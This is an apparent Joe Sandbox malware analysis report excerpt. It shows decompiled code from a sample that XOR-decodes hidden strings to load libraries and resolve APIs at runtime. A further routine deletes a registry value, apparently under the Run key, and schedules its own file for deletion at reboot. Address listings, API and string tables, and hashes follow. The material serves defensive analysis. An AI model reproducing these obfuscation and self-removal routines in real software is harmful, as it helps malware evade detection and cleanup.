					_a108 = 0x53;
					_a109 = 0x8b;
					_a110 = 0xbe;
					_a111 = 0xec;
					_a112 = 0xbe;
					_a113 = 0x6c;
					_a114 = 0x99;
					_a115 = 0x48;
					_a116 = 0x4e;
					_a117 = 0x30;
					_a118 = 0x6a;
					_a119 = 0xa4;
					_a40 = 0x21;
					_a41 = 0x76;
					_a42 = 0x1f;
					_a43 = 0x71;
					_a44 = 0x18;
					_a45 = 0x76;
					_a46 = 0x13;
					_a47 = 0x67;
					_a48 = 0x49;
					_a49 = __bl;
					_a50 = 0x41;
					_a51 = __bl;
					__eax = E0041C4C0( &_a40, 0xc,  &_a108);
					__edi = __eax;
					__eax = 0;
					if(__edi == 0) {
						L28:
						__ecx = _a336;
						_pop(__edi);
						__eax = E00424873(__eax, _a336);
						__esp = __esp + 0x144;
						return __eax;
					} else {
						_a176 = 0xd3;
						_a177 = 0xf4;
						_a178 = 0xee;
						_a179 = 0xff;
						_a180 = 0xe8;
						_a181 = 0xf4;
						_a182 = 0xff;
						_a183 = 0xee;
						_a184 = 0xdd;
						_a185 = 0xff;
						_a186 = 0xee;
						_a187 = 0xd9;
						_a188 = 0xf5;
						_a189 = 0xf4;
						_a190 = 0xf4;
						_a191 = 0xff;
						_a192 = 0xf9;
						_a193 = 0xee;
						_a194 = 0xff;
						_a195 = 0xfe;
						_a196 = 0xc9;
						_a197 = 0xee;
						_a198 = 0xfb;
						_a199 = 0xee;
						_a200 = 0xff;
						_a201 = 0x9a;
						do {
							 *(__esp +  &(__eax[0xb0])) =  *(__esp +  &(__eax[0xb0])) ^ 0x0000009a;
							__eax =  &(__eax[1]);
						} while (__eax < 0x1a);
						__ecx =  &_a176;
						__eax = GetProcAddress(__edi, __ecx);
						 *0x431ef8 = __eax;
						if(__eax == 0) {
							goto L1;
						} else {
							_a40 = 0xec;
							_a41 = 0xcb;
							_a42 = 0xd1;
							_a43 = 0xc0;
							_a44 = 0xd7;
							_a45 = 0xcb;
							_a46 = 0xc0;
							_a47 = 0xd1;
							_a48 = 0xea;
							_a49 = 0xd5;
							_a50 = 0xc0;
							_a51 = 0xcb;
							_a52 = 0xe4;
							_a53 = 0xa5;
							__eax = 0;
							do {
								 *(__esp +  &(__eax[0x28])) =  *(__esp +  &(__eax[0x28])) ^ 0x000000a5;
								__eax =  &(__eax[1]);
							} while (__eax < 0xe);
							__edx =  &_a40;
							__eax = GetProcAddress(__edi,  &_a40);
							 *0x431efc = __eax;
							if(__eax == 0) {
								goto L1;
							} else {
								_a56 = 0xa3;
								_a57 = 0x84;
								_a58 = 0x9e;
								_a59 = 0x8f;
								_a60 = 0x98;
								_a61 = 0x84;
								_a62 = 0x8f;
								_a63 = 0x9e;
								_a64 = 0xa5;
								_a65 = 0x9a;
								_a66 = 0x8f;
								_a67 = 0x84;
								_a68 = 0xbf;
								_a69 = 0x98;
								_a70 = 0x86;
								_a71 = 0xab;
								_a72 = 0xea;
								__eax = 0;
								do {
									 *(__esp +  &(__eax[0x38])) =  *(__esp +  &(__eax[0x38])) ^ 0x000000ea;
									__eax =  &(__eax[1]);
								} while (__eax < 0x11);
								__eax =  &_a56;
								__eax = GetProcAddress(__edi,  &_a56);
								 *0x431f00 = __eax;
								if(__eax == 0) {
									goto L1;
								} else {
									__bl = 0x9f;
									_a76 = 0x88;
									_a77 = 0x43;
									_a78 = 0xfc;
									_a79 = 0x99;
									_a80 = 0xa6;
									_a81 = 0x58;
									_a82 = 0x6a;
									_a83 = 0xe2;
									_a84 = 0xbe;
									_a85 = 0x9f;
									_a86 = 0x20;
									_a87 = 0xed;
									_a88 = 0x35;
									_a89 = 0xb4;
									_a90 = 0x34;
									_a91 = 0xfa;
									_a92 = 0xe7;
									_a120 = 0xc1;
									_a121 = 0x2b;
									_a122 = 0x78;
									_a123 = 0xcc;
									_a124 = 0xcc;
									_a125 = 0x16;
									_a126 = 0xfb;
									_a127 = 0x92;
									_a128 = 0x94;
									_a129 = 0xc6;
									_a130 = 0x41;
									_a131 = 0x77;
									_a132 = 0x11;
									_a133 = 0xb5;
									_a134 = 0x38;
									_a135 = 0x6b;
									_a136 = 0x19;
									__eax = 0;
									do {
										 *((char*)(__esp +  &(__eax[0x4c]))) =  *((intOrPtr*)(__esp +  &(__eax[0x4c]))) +  *((intOrPtr*)(__esp +  &(__eax[0x78])));
										__eax =  &(__eax[1]);
									} while (__eax < 0x11);
									__edx =  &_a76;
									__eax = GetProcAddress(__edi,  &_a76);
									 *0x431f04 = __eax;
									if(__eax == 0) {
										goto L1;
									} else {
										_a220 = 0x56;
										_a130 = 0x56;
										__eax =  &_a216;
										__ecx =  &_a120;
										__edx = 0x14;
										_a216 = 6;
										_a217 = 0x36;
										_a218 = 0xb9;
										_a219 = 0x60;
										_a221 = 1;
										_a222 = 0x32;
										_a223 = 0x3e;
										_a224 = 0xcb;
										_a225 = 0x26;
										_a226 = 0xf;
										_a227 = 0xa5;
										_a228 = 1;
										_a229 = 0xa3;
										_a230 = 0x3c;
										_a231 = 0xd2;
										_a232 = 0x72;
										_a233 = 0x9f;
										_a234 = 0x9a;
										_a235 = 0xed;
										_a120 = 0x42;
										_a121 = 0xb;
										_a122 = 0x65;
										_a123 = 0x11;
										_a124 = 0x74;
										_a125 = 6;
										_a126 = 0x68;
										_a127 = 0xd;
										_a128 = 0x79;
										_a129 = 0x3a;
										_a131 = 0x39;
										_a132 = 0x4a;
										_a133 = 0x2f;
										_a134 = 0x67;
										_a135 = 6;
										_a136 = 0x68;
										_a137 = 0xc;
										_a138 = 0x60;
										_a139 = 5;
										__eax = E0041C4C0(__ecx, 0x14,  &_a216);
										__eax = GetProcAddress(__edi, __eax);
										 *0x431f08 = __eax;
										if(__eax == 0) {
											goto L1;
										} else {
											_a96 = 0x40;
											_a97 = 0xec;
											_a98 = 0xfc;
											_a99 = 0xa;
											_a100 = 0xe1;
											_a101 = 0x80;
											_a102 = 0x93;
											_a103 = 0xb7;
											_a104 = 0xf4;
											_a105 = 0xba;
											_a106 = 0xb0;
											_a40 = 0x24;
											_a41 = 0x82;
											_a42 = 0x77;
											_a43 = 0x57;
											_a44 = 0x8f;
											_a45 = 0xe9;
											_a46 = 0x9b;
											_a47 = 0xad;
											_a48 = 0x78;
											_a49 = 0xb2;
											_a50 = 0x50;
											__eax = 0;
											do {
												 *((intOrPtr*)(__esp +  &(__eax[0x60]))) =  *((intOrPtr*)(__esp +  &(__eax[0x60]))) +  *(__esp +  &(__eax[0x28]));
												 *((char*)(__esp +  &(__eax[0x60]))) =  *((intOrPtr*)(__esp +  &(__eax[0x60]))) +  *(__esp +  &(__eax[0x28]));
												__eax =  &(__eax[1]);
											} while (__eax < 0xb);
											__edx =  &_a96;
											__edi = LoadLibraryA( &_a96);
											__eax = 0;
											if(__edi == 0) {
												goto L28;
											} else {
												_a140 = 0xce;
												_a141 = 0xe4;
												_a142 = 0xf9;
												_a143 = 0xdb;
												_a144 = 0xff;
												_a145 = 0xef;
												_a146 = 0xf8;
												_a147 = 0xf3;
												_a148 = 0xd5;
												_a149 = 0xcb;
												_a150 = 0x8a;
												do {
													 *(__esp +  &(__eax[0x8c])) =  *(__esp +  &(__eax[0x8c])) ^ 0x0000008a;
													__eax =  &(__eax[1]);
												} while (__eax < 0xb);
												__eax =  &_a140;
												__eax = GetProcAddress(__edi,  &_a140);
												 *0x431f0c = __eax;
												if(__eax == 0) {
													goto L1;
												} else {
													__ecx =  &_a56;
													_push(0x12);
													__bl = 0xde;
													_push( &_a56);
													__eax =  &_a76;
													_a56 = 0x2b;
													_a57 = 0x7e;
													_a58 = 0x14;
													_a59 = 0xc5;
													_a60 = 0x31;
													_a61 = 0x22;
													_a62 = 0x49;
													_a63 = 0xdc;
													_a64 = 0xd8;
													_a65 = 0x8b;
													_a66 = 0xed;
													_a67 = 0x54;
													_a68 = 0xbb;
													_a69 = 0xba;
													_a70 = 0x48;
													_a71 = 0xbb;
													_a72 = 0xa1;
													_a73 = 0x26;
													_a76 = 0x26;
													_a77 = 0xc4;
													_a78 = 0xde;
													_a79 = 0x3a;
													_a80 = 0xfc;
													_a81 = 0xcf;
													_a82 = 0x27;
													_a83 = 0x84;
													_a84 = 0xc7;
													_a85 = 0xbc;
													_a86 = 0xae;
													_a87 = 0x26;
													_a88 = 0x41;
													_a89 = 0x54;
													_a90 = 0x97;
													_a91 = 0x67;
													_a92 = 0x10;
													_a93 = 0x6f;
													__eax = E0041C580( &_a76);
													__esp = __esp + 8;
													__eax = GetProcAddress(__edi, __eax);
													 *0x431f10 = __eax;
													if(__eax == 0) {
														goto L1;
													} else {
														__edx =  &_a40;
														__ecx =  &_a164;
														__edx = 0xb;
														_a40 = 0x6d;
														_a41 = 0x96;
														_a42 = 0x80;
														_a43 = 6;
														_a44 = 0xa9;
														_a45 = 0x60;
														_a46 = 0x53;
														_a47 = 0xb;
														_a48 = 0xec;
														_a49 = 0xb1;
														_a50 = 0xd3;
														_a164 = 0xc8;
														_a165 = 0x9d;
														_a166 = 0xee;
														_a167 = 0x8b;
														_a168 = 0xf9;
														_a169 = 0xca;
														_a170 = 0xf8;
														_a171 = 0xd6;
														_a172 = 0x92;
														_a173 = 0xde;
														_a174 = 0x92;
														__eax = E0041C4C0(__ecx, 0xb,  &_a40);
														__eax = LoadLibraryA(__eax);
														__edi = __eax;
														if(__edi == 0) {
															goto L1;
														} else {
															__eax =  &_a152;
															_push(0xa);
															_push( &_a152);
															__eax =  &_a204;
															_a152 = 0x37;
															_a153 = 0x3b;
															_a154 = 0x8f;
															_a155 = 0x69;
															_a156 = 0x24;
															_a157 = 0x7f;
															_a158 = 0x60;
															_a159 = 0xe9;
															_a160 = 0xec;
															_a161 = 0x4c;
															_a204 = 0x4c;
															_a205 = 0xad;
															_a206 = 0x8f;
															_a207 = 0x14;
															_a208 = 0x11;
															_a209 = 0x4d;
															_a210 = 0x1b;
															_a211 = 0xff;
															_a212 = 0x48;
															_a213 = 0x40;
															__eax = E0041C580( &_a204);
															__esp = __esp + 8;
															__eax = GetProcAddress(__edi, __eax);
															 *0x431f14 = __eax;
															if(__eax == 0) {
																goto L1;
															} else {
																__ecx =  &_a56;
																__ecx =  &_a76;
																__edx = 0x12;
																_a56 = 0x75;
																_a57 = 6;
																_a58 = 0xcc;
																_a59 = 0x8b;
																_a60 = 0x4c;
																_a61 = 0xb8;
																_a62 = 0x36;
																_a63 = 0x4d;
																_a64 = 0x1e;
																_a65 = 0x53;
																_a66 = 0xb7;
																_a67 = 0x58;
																_a68 = 0xd4;
																_a69 = 0xa5;
																_a70 = 0xf1;
																_a71 = 0xd3;
																_a72 = 0x12;
																_a73 = 0x39;
																_a76 = 0x4a;
																_a77 = 0x19;
																_a78 = 0x7c;
																_a79 = 8;
																_a80 = 0x5f;
																_a81 = 0x36;
																_a82 = 0x58;
																_a83 = 0x3c;
																_a84 = 0x53;
																_a85 = 0x24;
																_a86 = 0x57;
																_a87 = 0x1f;
																_a88 = 0x70;
																_a89 = 0x1f;
																_a90 = 0x74;
																_a91 = 0x31;
																_a92 = 0x49;
																_a93 = 8;
																__eax = E0041C4C0( &_a76, 0x12,  &_a56);
																__eax = GetProcAddress(__edi, __eax);
																__edx = 0;
																_t358 = __eax != 0;
																__edx = 0 | _t358;
																 *0x431f18 = __eax;
																__eax = _t358;
																goto L28;
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0041d480
0x0041d48d
0x0041d494
0x0041d495
0x0041d49a
0x0041d4a3
0x0041d4a7
0x0041d4ac
0x0041c80f
0x0041c827
0x0041d4b2
0x0041d4b2
0x0041d4b7
0x0041d4bb
0x0041d4c0
0x0041d4c5
0x0041d4ca
0x0041d4cf
0x0041d4d4
0x0041d4d9
0x0041d4de
0x0041d4e3
0x0041d4e8
0x0041d4ed
0x0041d4f2
0x0041d4f7
0x0041d4fc
0x0041d501
0x0041d506
0x0041d50b
0x0041d510
0x0041d515
0x0041d51a
0x0041d51f
0x0041d524
0x0041d529
0x0041d52d
0x0041d532
0x0041d536
0x0041d541
0x0041d543
0x0041d547
0x0041ddc9
0x0041ddc9
0x0041ddd1
0x0041ddd4
0x0041ddd9
0x0041dddf
0x0041d54d
0x0041d54d
0x0041d555
0x0041d55d
0x0041d565
0x0041d56d
0x0041d575
0x0041d57d
0x0041d585
0x0041d58d
0x0041d595
0x0041d59d
0x0041d5a5
0x0041d5ad
0x0041d5b5
0x0041d5bd
0x0041d5c5
0x0041d5cd
0x0041d5d5
0x0041d5dd
0x0041d5e5
0x0041d5ed
0x0041d5f5
0x0041d5fd
0x0041d605
0x0041d60d
0x0041d615
0x0041d620
0x0041d620
0x0041d628
0x0041d629
0x0041d62e
0x0041d637
0x0041d63b
0x0041d640
0x00000000
0x0041d646
0x0041d646
0x0041d64b
0x0041d650
0x0041d655
0x0041d65a
0x0041d65f
0x0041d664
0x0041d669
0x0041d66e
0x0041d673
0x0041d678
0x0041d67d
0x0041d682
0x0041d687
0x0041d68c
0x0041d690
0x0041d690
0x0041d695
0x0041d696
0x0041d69b
0x0041d6a1
0x0041d6a5
0x0041d6aa
0x00000000
0x0041d6b0
0x0041d6b0
0x0041d6b5
0x0041d6ba
0x0041d6bf
0x0041d6c4
0x0041d6c9
0x0041d6ce
0x0041d6d3
0x0041d6d8
0x0041d6dd
0x0041d6e2
0x0041d6e7
0x0041d6ec
0x0041d6f1
0x0041d6f6
0x0041d6fb
0x0041d700
0x0041d705
0x0041d707
0x0041d707
0x0041d70c
0x0041d70d
0x0041d712
0x0041d718
0x0041d71c
0x0041d721
0x00000000
0x0041d727
0x0041d727
0x0041d729
0x0041d72e
0x0041d733
0x0041d738
0x0041d73d
0x0041d742
0x0041d747
0x0041d74c
0x0041d751
0x0041d756
0x0041d75a
0x0041d75f
0x0041d764
0x0041d769
0x0041d76e
0x0041d773
0x0041d778
0x0041d77d
0x0041d782
0x0041d787
0x0041d78c
0x0041d791
0x0041d796
0x0041d79b
0x0041d7a0
0x0041d7a5
0x0041d7ad
0x0041d7b5
0x0041d7bd
0x0041d7c5
0x0041d7cd
0x0041d7d5
0x0041d7dd
0x0041d7e5
0x0041d7ed
0x0041d7f0
0x0041d7fa
0x0041d7fe
0x0041d7ff
0x0041d804
0x0041d80a
0x0041d80e
0x0041d813
0x00000000
0x0041d819
0x0041d81b
0x0041d822
0x0041d829
0x0041d831
0x0041d835
0x0041d83a
0x0041d842
0x0041d84a
0x0041d852
0x0041d85a
0x0041d862
0x0041d86a
0x0041d872
0x0041d87a
0x0041d882
0x0041d88a
0x0041d892
0x0041d89a
0x0041d8a2
0x0041d8aa
0x0041d8b2
0x0041d8ba
0x0041d8c1
0x0041d8c9
0x0041d8d1
0x0041d8d6
0x0041d8db
0x0041d8e0
0x0041d8e5
0x0041d8ed
0x0041d8f5
0x0041d8fd
0x0041d905
0x0041d90d
0x0041d915
0x0041d91d
0x0041d925
0x0041d92d
0x0041d935
0x0041d93d
0x0041d945
0x0041d94d
0x0041d955
0x0041d95d
0x0041d967
0x0041d96b
0x0041d970
0x00000000
0x0041d976
0x0041d976
0x0041d97b
0x0041d980
0x0041d985
0x0041d98a
0x0041d98f
0x0041d994
0x0041d999
0x0041d99e
0x0041d9a3
0x0041d9a8
0x0041d9ad
0x0041d9b2
0x0041d9b7
0x0041d9bc
0x0041d9c1
0x0041d9c6
0x0041d9cb
0x0041d9d0
0x0041d9d5
0x0041d9da
0x0041d9df
0x0041d9e4
0x0041d9e6
0x0041d9ee
0x0041d9f0
0x0041d9f4
0x0041d9f5
0x0041d9fa
0x0041da01
0x0041da03
0x0041da07
0x00000000
0x0041da0d
0x0041da0d
0x0041da15
0x0041da1d
0x0041da25
0x0041da2d
0x0041da35
0x0041da3d
0x0041da45
0x0041da4d
0x0041da55
0x0041da5d
0x0041da70
0x0041da70
0x0041da78
0x0041da79
0x0041da7e
0x0041da87
0x0041da8b
0x0041da90
0x00000000
0x0041da96
0x0041da96
0x0041da9a
0x0041da9c
0x0041da9e
0x0041da9f
0x0041daa3
0x0041daa8
0x0041daad
0x0041dab2
0x0041dab7
0x0041dabc
0x0041dac1
0x0041dac6
0x0041dacb
0x0041dad0
0x0041dad5
0x0041dada
0x0041dadf
0x0041dae4
0x0041dae9
0x0041daee
0x0041daf3
0x0041daf8
0x0041dafd
0x0041db02
0x0041db07
0x0041db0b
0x0041db10
0x0041db15
0x0041db1a
0x0041db1f
0x0041db24
0x0041db29
0x0041db2e
0x0041db33
0x0041db38
0x0041db3d
0x0041db42
0x0041db47
0x0041db4c
0x0041db51
0x0041db56
0x0041db5b
0x0041db60
0x0041db64
0x0041db69
0x00000000
0x0041db6f
0x0041db6f
0x0041db74
0x0041db7b
0x0041db80
0x0041db85
0x0041db8a
0x0041db8f
0x0041db94
0x0041db99
0x0041db9e
0x0041dba3
0x0041dba8
0x0041dbad
0x0041dbb2
0x0041dbb7
0x0041dbbf
0x0041dbc7
0x0041dbcf
0x0041dbd7
0x0041dbdf
0x0041dbe7
0x0041dbef
0x0041dbf7
0x0041dbff
0x0041dc06
0x0041dc0e
0x0041dc17
0x0041dc19
0x0041dc1d
0x00000000
0x0041dc23
0x0041dc23
0x0041dc2a
0x0041dc2c
0x0041dc2d
0x0041dc34
0x0041dc3c
0x0041dc44
0x0041dc4c
0x0041dc54
0x0041dc5c
0x0041dc64
0x0041dc6c
0x0041dc74
0x0041dc7c
0x0041dc84
0x0041dc8c
0x0041dc94
0x0041dc9c
0x0041dca4
0x0041dcac
0x0041dcb4
0x0041dcbc
0x0041dcc4
0x0041dccc
0x0041dcd4
0x0041dcd9
0x0041dcde
0x0041dce2
0x0041dce7
0x00000000
0x0041dced
0x0041dced
0x0041dcf2
0x0041dcf6
0x0041dcfb
0x0041dd00
0x0041dd05
0x0041dd0a
0x0041dd0f
0x0041dd14
0x0041dd19
0x0041dd1e
0x0041dd23
0x0041dd28
0x0041dd2d
0x0041dd32
0x0041dd37
0x0041dd3c
0x0041dd41
0x0041dd46
0x0041dd4b
0x0041dd50
0x0041dd55
0x0041dd5a
0x0041dd5f
0x0041dd64
0x0041dd69
0x0041dd6e
0x0041dd73
0x0041dd78
0x0041dd7d
0x0041dd82
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd96
0x0041dd9b
0x0041dda0
0x0041dda5
0x0041ddaa
0x0041ddaf
0x0041ddb9
0x0041ddbb
0x0041ddbf
0x0041ddbf
0x0041ddc2
0x0041ddc7
0x00000000
0x0041ddc7
0x0041dce7
0x0041dc1d
0x0041db69
0x0041da90
0x0041da07
0x0041d970
0x0041d813
0x0041d721
0x0041d6aa
0x0041d640
0x0041d547

APIs

GetProcAddress.KERNEL32(00000000,0000006B), ref: 0041D4A3
LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000007,?,00000001), ref: 0041D53F
GetProcAddress.KERNEL32(00000000,0000009A), ref: 0041D637
GetProcAddress.KERNEL32(00000000,000000A5), ref: 0041D6A1
GetProcAddress.KERNEL32(00000000,000000EA), ref: 0041D718
GetProcAddress.KERNEL32(00000000,00000088), ref: 0041D80A
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041D967
LoadLibraryA.KERNEL32(00000040), ref: 0041D9FF
GetProcAddress.KERNEL32(00000000,0000008A), ref: 0041DA87
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DB60

Strings

`, xrefs: 0041DB99
I, xrefs: 0041DDA5
H, xrefs: 0041D4E3
W, xrefs: 0041DD87
e, xrefs: 0041D8DB
~, xrefs: 0041DAA8
S, xrefs: 0041DD7D
7, xrefs: 0041DC34
9, xrefs: 0041DD50
S, xrefs: 0041D4C0
8, xrefs: 0041D7D5
g, xrefs: 0041D92D
I, xrefs: 0041DAC1
x, xrefs: 0041D787
+, xrefs: 0041D782
h, xrefs: 0041D8F5
h, xrefs: 0041D93D
;, xrefs: 0041DC3C
y, xrefs: 0041D905
|, xrefs: 0041DD5F
g, xrefs: 0041DB47
S, xrefs: 0041DD28
&, xrefs: 0041D87A
t, xrefs: 0041D8E5
w, xrefs: 0041D9B7
w, xrefs: 0041D7BD
1, xrefs: 0041DAB7
J, xrefs: 0041DD55
`, xrefs: 0041D94D
J, xrefs: 0041D91D
i, xrefs: 0041DC4C
$, xrefs: 0041D9AD
m, xrefs: 0041DB80
6, xrefs: 0041DD6E
<, xrefs: 0041DD78
@, xrefs: 0041DCCC
A, xrefs: 0041D52D
6, xrefs: 0041DD19
T, xrefs: 0041DB3D
N, xrefs: 0041D4E8
M, xrefs: 0041DD1E
p, xrefs: 0041DD91
I, xrefs: 0041D524
&, xrefs: 0041DAF8
H, xrefs: 0041DCC4
T, xrefs: 0041DADA
1, xrefs: 0041DDA0
L, xrefs: 0041DC84
$, xrefs: 0041DD82
g, xrefs: 0041D51F
v, xrefs: 0041D501
:, xrefs: 0041D90D
S, xrefs: 0041DB9E
u, xrefs: 0041DCFB
M, xrefs: 0041DCAC
>, xrefs: 0041D86A
l, xrefs: 0041D4D9
o, xrefs: 0041DB51
X, xrefs: 0041DD73
9, xrefs: 0041D915
<, xrefs: 0041D8A2
q, xrefs: 0041D50B
L, xrefs: 0041DC7C
B, xrefs: 0041D8D1
L, xrefs: 0041DD0F
W, xrefs: 0041D9BC
t, xrefs: 0041DD9B
`, xrefs: 0041DC64
$, xrefs: 0041DC54
x, xrefs: 0041D9D5
_, xrefs: 0041DD69
X, xrefs: 0041DD32
2, xrefs: 0041D862
r, xrefs: 0041D8B2
H, xrefs: 0041DAE9
/, xrefs: 0041D925
`, xrefs: 0041D852

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: $$$$$$&$&$+$/$1$1$2$6$6$7$8$9$9$:$;$<$<$>$@$A$B$H$H$H$I$I$I$J$J$L$L$L$M$M$N$S$S$S$S$T$T$W$W$X$X$_$`$`$`$`$e$g$g$g$h$h$i$l$m$o$p$q$r$t$t$u$v$w$w$x$x$y$|$~
API String ID: 2238633743-3939626055
Opcode ID: c0813e0e13b3bdf5361ae911ad3d7297fecab97c2126bead805d02d7372984c4
Instruction ID: 4ea2d180e8293730c515bf7f31d434ed5d52511cef3b66f0afd499666270cbed
Opcode Fuzzy Hash: c0813e0e13b3bdf5361ae911ad3d7297fecab97c2126bead805d02d7372984c4
Instruction Fuzzy Hash: 0452A72000CBC2C9D332D27C584879FBFD11BA7228F584B9DE1F95A2E2D7A68146C767

Uniqueness

Uniqueness Score: -1.00%

Function 00413280, Relevance: 135.2, APIs: 18, Strings: 59, Instructions: 437
fileregistryCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00413280(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v264;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v361;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v369;
				char _v370;
				char _v371;
				char _v372;
				long _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				char _v384;
				char _v385;
				char _v386;
				char _v387;
				char _v388;
				char _v389;
				char _v390;
				char _v391;
				char _v392;
				char _v393;
				char _v394;
				char _v395;
				char _v396;
				char _v397;
				char _v398;
				char _v399;
				char _v400;
				char _v404;
				char _v405;
				char _v406;
				char _v407;
				char _v408;
				char _v409;
				char _v410;
				char _v411;
				char _v412;
				char _v413;
				char _v414;
				char _v415;
				char _v416;
				char _v417;
				char _v418;
				char _v419;
				char _v420;
				char _v424;
				char _v425;
				char _v426;
				char _v427;
				char _v428;
				char _v429;
				char _v430;
				char _v431;
				char _v432;
				char _v433;
				char _v434;
				char _v435;
				char _v436;
				char _v437;
				char _v438;
				char _v439;
				char _v440;
				char _v442;
				char _v443;
				char _v444;
				char _v445;
				char _v446;
				char _v447;
				char _v448;
				char _v449;
				char _v450;
				char _v451;
				char _v452;
				char _v453;
				char _v454;
				char _v455;
				char _v456;
				char _v457;
				char _v458;
				char _v459;
				char _v460;
				void* _v464;
				intOrPtr _t337;
				void* _t339;
				long _t341;
				void* _t345;
				void* _t349;
				void* _t353;
				CHAR* _t356;
				void* _t357;
				void* _t361;
				void* _t365;
				void* _t419;
				void** _t422;

				_t419 = __ebp;
				_t422 =  &_v464;
				_t337 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t337;
				_v291 = 0xc7;
				_v280 = 0xc7;
				_v272 = 0xc7;
				_v268 = 0xc7;
				_v312 = 0xfa;
				_v311 = 0xe6;
				_v310 = 0xef;
				_v309 = 0xfd;
				_v308 = 0xfe;
				_v307 = 0xe8;
				_v306 = 0xfb;
				_v305 = 0xec;
				_v304 = 0xf5;
				_v303 = 0xe4;
				_v302 = 0xc0;
				_v301 = 0xca;
				_v300 = 0xdb;
				_v299 = 0xc6;
				_v298 = 0xda;
				_v297 = 0xc6;
				_v296 = 0xcf;
				_v295 = 0xdd;
				_v294 = 0xf5;
				_v293 = 0xfe;
				_v292 = 0xc0;
				_v290 = 0xcd;
				_v289 = 0xc6;
				_v288 = 0xde;
				_v287 = 0xda;
				_v286 = 0xf5;
				_v285 = 0xea;
				_v284 = 0xdc;
				_v283 = 0xdb;
				_v282 = 0xdb;
				_v281 = 0xcc;
				_v279 = 0xdd;
				_v278 = 0xff;
				_v277 = 0xcc;
				_v276 = 0xdb;
				_v275 = 0xda;
				_v274 = 0xc0;
				_v273 = 0xc6;
				_v271 = 0xf5;
				_v270 = 0xfb;
				_v269 = 0xdc;
				_v267 = 0xa9;
				_t339 = 0;
				do {
					 *(_t422 + _t339 + 0xa4) =  *(_t422 + _t339 + 0xa4) ^ 0x000000a9;
					_t339 = _t339 + 1;
				} while (_t339 < 0x2e);
				_t341 = RegOpenKeyA(0x80000002,  &_v312,  &_v464);
				if(_t341 == 0) {
					_v375 = _t341;
					_v380 = 0x74;
					_v379 = 0x73;
					_v378 = 0x65;
					_v377 = 0x72;
					_v376 = 0x76;
					RegDeleteValueA(_v464,  &_v380);
					RegCloseKey(_v464);
				}
				_push(_t419);
				GetModuleFileNameA(0,  &_v264, 0x104);
				MoveFileExA( &_v264, 0, 4);
				_v372 = 0x7b;
				_v371 = 0x3a;
				_v370 = 0x59;
				_v369 = 0xfe;
				_v368 = 0x78;
				_v367 = 0xb0;
				_v366 = 0xb1;
				_v365 = 0x27;
				_v364 = 0x34;
				_v363 = 0xf8;
				_v362 = 0x7f;
				_v361 = 0x7a;
				_v360 = 6;
				_v359 = 0x30;
				_v358 = 0xcb;
				_v357 = 0xef;
				_v356 = 0x87;
				_v355 = 0xae;
				_v354 = 0xc9;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x98;
				_v444 = 0xe6;
				_v443 = 0xd6;
				_v442 = 0xc9;
				_t345 = 0;
				do {
					_t104 = _t345 + 0x6c; // 0x7b
					 *(_t422 + _t345 + 0x6c) =  *(_t422 + _t104) ^  *(_t422 + _t345 + 0x14);
					_t345 = _t345 + 1;
				} while (_t345 < 0x13);
				ExpandEnvironmentStringsA( &_v372,  &_v264, 0x104);
				DeleteFileA( &_v264);
				_v332 = 0x7b;
				_v331 = 0x3a;
				_v330 = 0x59;
				_v329 = 0xfe;
				_v328 = 0x78;
				_v327 = 0xb0;
				_v326 = 0xb1;
				_v325 = 0x27;
				_v324 = 0x34;
				_v323 = 0xf8;
				_v322 = 0x7f;
				_v321 = 0x7a;
				_v320 = 6;
				_v319 = 0x30;
				_v318 = 0xcb;
				_v317 = 0xef;
				_v316 = 0x87;
				_v315 = 0xae;
				_v314 = 0xc9;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
